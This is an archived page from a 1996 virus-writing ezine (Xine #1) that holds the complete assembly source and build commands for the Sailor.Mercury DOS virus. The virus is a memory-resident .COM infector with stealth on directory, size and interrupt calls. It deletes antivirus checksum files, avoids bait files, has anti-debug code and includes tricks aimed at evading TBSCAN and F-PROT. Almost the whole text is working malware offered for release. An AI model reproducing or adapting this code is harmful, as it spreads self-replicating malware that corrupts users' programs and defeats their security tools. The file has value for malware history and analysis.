home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / XINE-1.ZIP / XINE-1.019 < prev    next >
Text File  |  1996-10-25  |  20KB  |  518 lines

  1.  
  2.                                         /-----------------------------\
  3.                                         | Xine - issue #1 - Phile 019 |
  4.                                         \-----------------------------/
  5.  
  6.  
  7. ;
  8. ;
  9. ;                           b0z0 of the -iKx-
  10. ;                                present
  11. ;                             Sailor.Mercury
  12. ;
  13. ;  hyo guys
  14. ; this is my first virus that i release to the public... so don't be too
  15. ; hard when feedbacking something :) Sailor.Mercury is the first virus of
  16. ; the Pretty Soldiers Sailor family... if you dunno who the Pretty Soldiers
  17. ; are then  IN THE NAME OF THE MOON I'LL PUNISH YOU! :)
  18. ; i hope to be around enough to complete all the family... we'll see ;)
  19. ;  the code in some parts isn't optimized at all. infact like you will notice
  20. ; at the comments i scrambled a little some passes to hide some heuristic
  21. ; flags from the various lame avs. the virus isn't encrypted... that's simply
  22. ; because i am not in this moment able to write a decent encryption engine...
  23. ; i tried with some standard xor and so on but this only gave a lot of
  24. ; warnings. and anyway the avs will put the decrypt procedure as a search
  25. ; string in the same manner that they will put a piece of the unencrypted
  26. ; virus... all the length stealth routines are based only on the check of
  27. ; the file size (must be < 64k of course) and file time (30 secs).
  28. ;
  29. ; And now as usual some tech infos about the virus:
  30. ;  - TSR .com infector
  31. ;  - infects on execute (4bh)
  32. ;  - infects files longer than 1024 and shorter than 64000
  33. ;  - stealth features (disabled when AVP or FPROT or tools like
  34. ;                      CHKDSK or SCANDISK are running)
  35. ;       * fcb stealth (on 11h/12h)
  36. ;       * dta stealth (on 4eh/4fh)
  37. ;       * get/set interrupt 21h stealth (on 3521h/2521h)
  38. ;       * size stealth on lseek calls 4202h (when seeking from end)
  39. ;  - general int24h error handler
  40. ;  - some retro structures
  41. ;       * deletes msd0g chklist.ms on each succesfull infection
  42. ;       * deletes tbav checksums
  43. ;  - antibait code
  44. ;       * doesn't infect files created today (checking only day, no mnth...)
  45. ;       * doesn't infect files which lenght is divisible by 512
  46. ;       * doesn't infect files which lenght is divisible by 1000
  47. ;  - antidebug code
  48. ;
  49. ; To compile:
  50. ;  TASM /M2 MERCURY.ASM
  51. ;  TLINK /T MERCURY
  52. ;
  53. ;
  54.  
  55. mercury         segment
  56.                 assume cs:mercury,ds:mercury,es:mercury
  57.  
  58.                 org     100h
  59. start:
  60.                 call    tbscan                  ;final fool for tbscan :)
  61.                 call    antidebug               ;fool fprot
  62.                 call    delta                   ;calculate delta offset
  63. delta:
  64.                 mov     bp,sp
  65.                 mov     bx,[bp]
  66.                 mov     bp,bx
  67.                 sub     bp,offset delta         ;calculate delta offset
  68. res_check:
  69.                 mov     ax,3726h                ;installation check
  70.                 int     21h
  71.                 cmp     ax,374ch
  72.                 jnz     go_resident
  73.                 call    restore_COM             ;restore the original com
  74. go_resident:
  75.                 push    cs
  76.                 mov     ax,3521h                ; get int 21 adress
  77.                 int     21h
  78.                 mov     word ptr [bp + old_int21_off],bx
  79.                 mov     word ptr [bp + old_int21_seg],es
  80.                 pop     es
  81.  
  82.                 mov     ah,4ah              ;request too much mem
  83.                 mov     bx,0ffffh
  84.                 int     21h                 ;in BX max mem avaiable
  85.  
  86.                 sub     bx,((end_vir-start+0fh)/10h)+1   ;shrink block
  87.                 mov     ah,4ah
  88.                 int     21h                            ;ES = block segment
  89.  
  90.                 mov     ah,48h
  91.                 mov     bx,((end_vir-start+0fh)/10h)  ;allocate needed mem
  92.                 int     21h                           ;AX = free segment
  93.  
  94.                 dec     ax
  95.                 mov     es,ax                         ;ES = new MCB
  96.  
  97.                 push    es
  98.                 push    ax
  99.                 mov     ax,cs
  100.                 dec     ax                       ;MCB of the previous block
  101.                 mov     es,ax
  102.                 mov     byte ptr es:[0],'Z'      ;mark the previous as the last
  103.                 pop     ax                       ;so mem /debug won't see us
  104.                 pop     es
  105.  
  106.                 mov     si,offset start          ;ds:si = virus
  107.                 add     si,bp
  108.                 sub     ax,0fh
  109.                 mov     es,ax                    ;es:di = place for the virus
  110.                 mov     di,0ffh                  ;ds:si --> es:di
  111.                 inc     di                       ;damn tbscan :)
  112.                 mov     cx,offset end_vir - offset start
  113.                 cld
  114.                 rep     movsb   ; Copy the virus
  115.                 push    es
  116.  
  117.                 mov     ax,2621h        ; install our interrupt handler
  118.                 dec     ah              ; fuck TBSCAN memres scan flag
  119.                 pop     ds
  120.                 mov     dx,[offset int21_handler]
  121.                 int     21h
  122. restore_COM:
  123.                 pop     es              ;this adjust the stack from the
  124.                                         ;calculation of the delta offset
  125.                                         ;anyway i think that anything would
  126.                                         ;work also fine without this
  127.                 push    cs              ;give again control to the program
  128.                 pop     es
  129.                 push    es
  130.                 pop     ds
  131.                 mov     di,0ffh         ;like mov di,100h but in this
  132.                 inc     di              ;way tbscan won't issue 'O' flag
  133.                 lea     si,[bp+old_jump] ;restore first four bytes
  134.                 push    di
  135.                 movsw
  136.                 movsw
  137.                 pop     ax
  138.                 jmp     ax
  139. lsend:
  140.                  pushf
  141.                  push   cs                    ;we must return home later :)
  142.                  call   doint21               ;do the int21h
  143.                  jc     notnf
  144.                  cmp    dx,00h
  145.                  jnz    notnf                 ;COMs are < 65k so if dx<>0 then
  146.                                               ;maybe isn't a .COM
  147.                  push   ax                    ;save length infos
  148.                  push   cx
  149.                  push   dx
  150.                  mov    ax,5700h              ;get date-time
  151.                  int    21h
  152.                  and    cl,1fh                ;our time-marker?
  153.                  xor    cl,0fh
  154.                  pop    dx
  155.                  pop    cx
  156.                  pop    ax                    ;restore infos
  157.                  jnz    notnf                 ;if not infected leave
  158.                  sub    ax,(end_vir-start)    ;is infected? hide the size!
  159. notnf:
  160.                  retf 2
  161. fcbstealth:
  162.                 pushf
  163.                 push    cs
  164.                 call    doint21
  165.                 or      al,al                     ;dir sucessfull??
  166.                 jnz     leave_dir                 ;no? leave all
  167.  
  168.                 push    es
  169.                 push    bx
  170.                 push    ax
  171.                 mov     ah,51h                    ;get psp
  172.                 int     21h
  173.                 mov     es,bx
  174.                 cmp     bx,es:[16h]               ;is the PSP ok??
  175.                 jnz     error
  176.  
  177.                 mov     bx,dx
  178.                 mov     al,[bx]                   ;al<--current drive
  179.                 push    ax                        ;look 4 extended FCB
  180.                 mov     ah,2fh                    ;get dta area
  181.                 int     21h
  182.                 pop     ax
  183.                 inc     al                       ;=ffh
  184.                 jnz     no_ext                   ;extended fcb?
  185.                 add     bx,7
  186. no_ext:
  187.                 cmp     word ptr es:[bx+1fh],00h             ;is > 65k?
  188.                 jnz     error                                ;yup.. leave
  189.                 mov     al,byte ptr es:[bx+17h]   ;seconds field
  190.                 and     al,1fh
  191.                 xor     al,0fh                    ;is file infected?
  192.                 jnz     error
  193. hide:
  194.                 sub     word ptr es:[bx+1dh],(end_vir-start) ;hide size
  195. error:
  196.                 pop     ax
  197.                 pop     bx
  198.                 pop     es
  199. leave_dir:
  200.                 retf    2
  201. int21_handler:
  202.                 cmp     ax,3726h                ;installation check
  203.                 jne     no_check
  204.                 add     al,al
  205.                 iret
  206. no_check:
  207.                 cmp     ah,32h
  208.                 jne     dsnn
  209.                 mov     byte ptr cs:[disste],00h
  210. dsnn:
  211.                 cmp     ah,4ch          ;program ending?
  212.                 je      re_stealth      ;reput stealth if we disabled it
  213.  
  214.                 cmp     byte ptr cs:[disste],01h   ;if AVs runs disable
  215.                 je      doint21                    ;stealth/infect
  216.  
  217.  
  218.                 push    bx
  219.                 mov     bh,12h          ;bye bye tbscan X flag :)
  220.                 cmp     ah,bh
  221.                 pop     bx
  222.                 je      fcbstealth
  223.  
  224.                 cmp     ah,11h
  225.                 je      fcbstealth
  226.  
  227.                 cmp     ax,4202h
  228.                 jne     nofend
  229.                 cmp     cl,4dh          ;is our call?
  230.                 jne     nofend
  231.                 jmp     lsend
  232. nofend:
  233.                 cmp     ax,3521h                   ;get int21h stealth
  234.                 je      reqint21
  235.  
  236.                 cmp     ax,2521h                   ;set int21h stealth
  237.                 je      setint21
  238.  
  239.                 cmp     ah,4eh
  240.                 je      dtastealth
  241.  
  242.                 cmp     ah,4fh
  243.                 je      dtastealth
  244.  
  245.                 push    bx
  246.                 mov     bh,4bh          ;re-g'bye tbscan ];)
  247.                 cmp     ah,bh
  248.                 pop     bx
  249.                 je      infect
  250. doint21:
  251.                 jmp cs:old_int21
  252. old_int21 label dword
  253. old_int21_off      dw   ?                       ;original int21 offset
  254. old_int21_seg      dw   ?                       ;original int21 segment
  255.  
  256. reqint21:
  257.                 mov    es,word ptr cs:[old_int21_seg]   ;give original int21h
  258.                 mov    bx,word ptr cs:[old_int21_off]   ;instead of our
  259.                 iret
  260. setint21:
  261.                 mov    word ptr cs:[old_int21_seg],ds   ;we will stay always
  262.                 mov    word ptr cs:[old_int21_off],dx   ;on the top :)
  263.                 iret
  264. re_stealth:
  265.                 mov    byte ptr cs:[disste],00h         ;reenable stealth
  266.                 jmp    cs:old_int21
  267. dtastealth:
  268.                 pushf
  269.                 push    cs             ;save for the return
  270.                 call    doint21        ;do the call
  271.                 jc      nomatches
  272.  
  273.                 pushf
  274.                 push    ax
  275.                 push    es
  276.                 push    bx
  277.  
  278.                 mov     ah,2fh         ;open dta
  279.                 int     21h
  280.  
  281.                 cmp     word ptr es:[bx+1ch],00h     ;is file > 64k?
  282.                 jnz     not_inf                      ;yup.. isn't a COM
  283.                 mov     ax,es:[bx+16h]               ;file time secs
  284.                 and     al,1fh
  285.                 xor     al,0fh
  286.                 jnz     not_inf                      ;is our marker?
  287.                 sub     es:[bx+1ah],(end_vir-start)  ;hide file size
  288. not_inf:
  289.                 pop     bx
  290.                 pop     es
  291.                 pop     ax
  292.                 popf
  293. nomatches:
  294.                 retf 2
  295. infect:
  296.                 pushf
  297.                 push    ax
  298.                 push    bx
  299.                 push    cx
  300.                 push    dx
  301.                 push    es
  302.                 push    ds
  303.                 push    bp
  304.                 push    si
  305.                 push    di
  306.  
  307.                 push    ds
  308.         push    dx 
  309.                 mov     ax,3524h          ;get int24h seg and off
  310.         int     21h
  311.                 mov     word ptr cs:[old_int24_off],bx  ;store them
  312.                 mov     word ptr cs:[old_int24_seg],es
  313.  
  314.                 push    cs
  315.         pop     ds
  316.                 mov     dx,offset int24_handler         ;put our int24h
  317.         mov     ax,2524h
  318.         int     21h
  319.                 pop     dx
  320.                 pop     ds
  321.  
  322.                 push    di
  323.                 push    dx
  324.                 pop     di
  325. sloop:
  326.                 inc     di
  327.                 cmp     byte ptr ds:[di],'.'
  328.                 jne     sloop                   ;search for '.'
  329.                 sub     di,02h
  330.                 cmp     word ptr ds:di,'PV'     ;is AVP?
  331.                 jne     protest
  332. avrun:
  333.                 mov     byte ptr cs:[disste],01h ;yup... so disable get/set
  334.                 jmp     ahead                    ;interrupt stealth so he
  335. protest:                                         ;would notice us
  336.                 cmp     word ptr ds:di,'OR'     ;is AVPRO?
  337.                 je      avrun
  338.                 cmp     word ptr ds:di,'TO'     ;is f-prot running?
  339.                 je      avrun                   ;so it won't find us
  340. ahead:
  341.                 pop     di
  342.                 mov     ax,4300h           ;get file attributes
  343.                 int     21h
  344.  
  345.                 push    cx                 ;save attributes
  346.                 push    ds
  347.                 push    dx
  348.                 sub     cx,cx
  349.                 call    set_attr           ;erase all attributes
  350.  
  351.                 mov     ax,3d02h                ;open file for rw
  352.                 int     21h
  353.                 jnc     continue
  354.                 jmp     exit_infect2
  355. continue:
  356.                 mov     bx,ax                   ;bx<--file handle
  357.                 push    cs
  358.                 pop     ds
  359.  
  360.                 mov     ax,5700h              ;get date-time
  361.                 int     21h
  362.                 push    cx                    ;store date/time on stack
  363.                 push    dx
  364.  
  365.                 push    dx
  366.                 mov     ah,2bh                ;get today's date
  367.                 dec     ah                    ;hiho tbscan ;)
  368.                 int     21h
  369.                 pop     cx
  370.                 and     cl,01fh               ;take only day from full date
  371.                 cmp     cl,dl                 ;is the same as today?
  372.                 jz      exitjump              ;hmmm... maybe a bait...
  373.  
  374.                 mov     ah,3fh                  ;read from file
  375.                 mov     cx,4                    ;four bytes
  376.                 mov     dx,offset old_jump      ;in our buffer
  377.                 int     21h
  378.  
  379.                 cmp     byte ptr old_jump,'M'    ;exe?
  380.                 je      exitjump
  381.                 cmp     byte ptr old_jump,0e9h    ;is there a jump?
  382.                 jne     goahead
  383.                 cmp     byte ptr old_jump+3,26h   ;is our marker?
  384. exitjump:
  385.                 je      exit_infect
  386. goahead:
  387.                 push    dx
  388.                 sub     cx,cx
  389.                 lea     dx,crca
  390.                 call    retro
  391.                 lea     dx,crcb
  392.                 call    retro
  393.                 pop     dx
  394.  
  395.                 mov     cl,4dh                  ;our marker
  396.                 mov     ax,4202h                ;go to the end of the file
  397.                 cwd
  398.                 sub     cx,cx
  399.                 int     21h
  400.  
  401.                 cmp     ax,0fa00h               ;don't infect files >64000
  402.                 ja      exit_infect
  403.  
  404.                 cmp     ax,1024                 ;don't infect files <=1024
  405.                 jbe     exit_infect
  406.  
  407.                 mov     cx,ax
  408.                 and     cx,01ffh                 ;if divisible by 512 leave
  409.                 jz      exit_infect              ;it's, probably a bait!
  410.  
  411.                 push    ax
  412.                 mov     cx,1000                 ;is length divisible by 1000??
  413.                 div     cx                      ;hmmm suspicious... there is
  414.                 or      dx,dx                   ;a bait near here... :)
  415.                 pop     ax
  416.                 jz      exit_infect
  417.  
  418.                 sub     ax,3
  419.                 mov     word ptr new_jump + 1, ax       ;calculate new jump
  420.  
  421.                 mov     ah,3fh                          ;copy da virus
  422.                 inc     ah
  423.                 mov     cx,(end_vir-start)
  424.                 mov     dx,offset start
  425.                 int     21h
  426.  
  427.                 xor     al,al                           ;go at start
  428.                 mov     ah,42h
  429.                 cwd
  430.                 mov     cx,0
  431.                 int     21h
  432.  
  433.                 mov     cx,4                            ;copy new jump
  434.                 mov     ah,3fh                          ;at the start
  435.                 inc     ah
  436.                 mov     dx,offset new_jump
  437.                 int     21h
  438.  
  439.                 pop     dx              ;restore date/time from stack
  440.                 pop     cx
  441.                 mov     ax,5601h        ;set date
  442.                 inc     ah              ;damn tbscan
  443.                 and     cl,0e0h         ;marker for fcb stealth
  444.                 add     cl,0fh
  445.                 int     21h
  446.  
  447.                 push    ds              ;correct stack if not infection
  448.                 push    bx              ;occoured
  449. exit_infect:
  450.                 pop     bx
  451.                 pop     ds
  452.                 mov     ah,3eh          ;close file
  453.                 int     21h
  454. exit_infect2:
  455.                 pop     dx              ;restore file attributes
  456.                 pop     ds
  457.                 pop     cx
  458.                 call    set_attr        ;reput old file attributes
  459.  
  460.                 mov     ax,2524h
  461.                 mov     ds,cs:[old_int24_seg]
  462.                 mov     dx,cs:[old_int24_off]
  463.                 int     21h                     ; restore int24h
  464.  
  465.                 pop     di              ;restore registers
  466.                 pop     si
  467.                 pop     bp
  468.                 pop     ds
  469.                 pop     es
  470.                 pop     dx
  471.                 pop     cx
  472.                 pop     bx
  473.                 pop     ax
  474.                 popf
  475.                 jmp     doint21
  476. old_jump           db   0cdh,20h,00h,00h        ;old com jump
  477. virus              db   0,'Sailor.Mercury',0
  478. author             db   '-b0z0/iKx-',0
  479. new_jump           db   0e9h,00h,00h,26h        ;space for the new jump + mark
  480. set_attr:
  481.                 mov     ax,4201h            ;set attributes
  482.                 inc     ah                  ;fuck tbscan F flag
  483.                 int     21h
  484.                 ret
  485. tbscan:
  486.                 mov     ax,0305h                ;fool tbscan :)
  487.                 sub     bx,bx
  488.                 int     16h                     ;the final shoot for it ;)
  489.                 ret
  490. antidebug:
  491.                 mov     cx,0aebh                ;prevent debugging
  492.                 inc     bp                      ;shit for fprot :)
  493.                 mov     ax,0fe05h               
  494.                 jmp     $-2
  495.                 add     ah,03bh
  496.                 jmp     $-11
  497.                 int     21h
  498.                 ret
  499. int24_handler:
  500.                 mov     al,03h
  501.                 iret
  502. retro:
  503.                 call    set_attr                ;deletes file in ds:dx
  504.                 mov     ah,41h
  505.                 int     21h
  506.                 ret
  507.  
  508. crca    db      'ANTI-VIR.DAT',0    ;what will we delete ;)
  509. crcb    db      'CHKLIST.MS',0      ;the only 2 that i saw in to be used
  510. end_vir:
  511.  
  512. disste             db   00h         ;get/set int enable/disable
  513. old_int24_off      dw   ?                       ;original int24 offset
  514. old_int24_seg      dw   ?                       ;original int24 segment
  515.  
  516. mercury ends
  517. end     start
  518.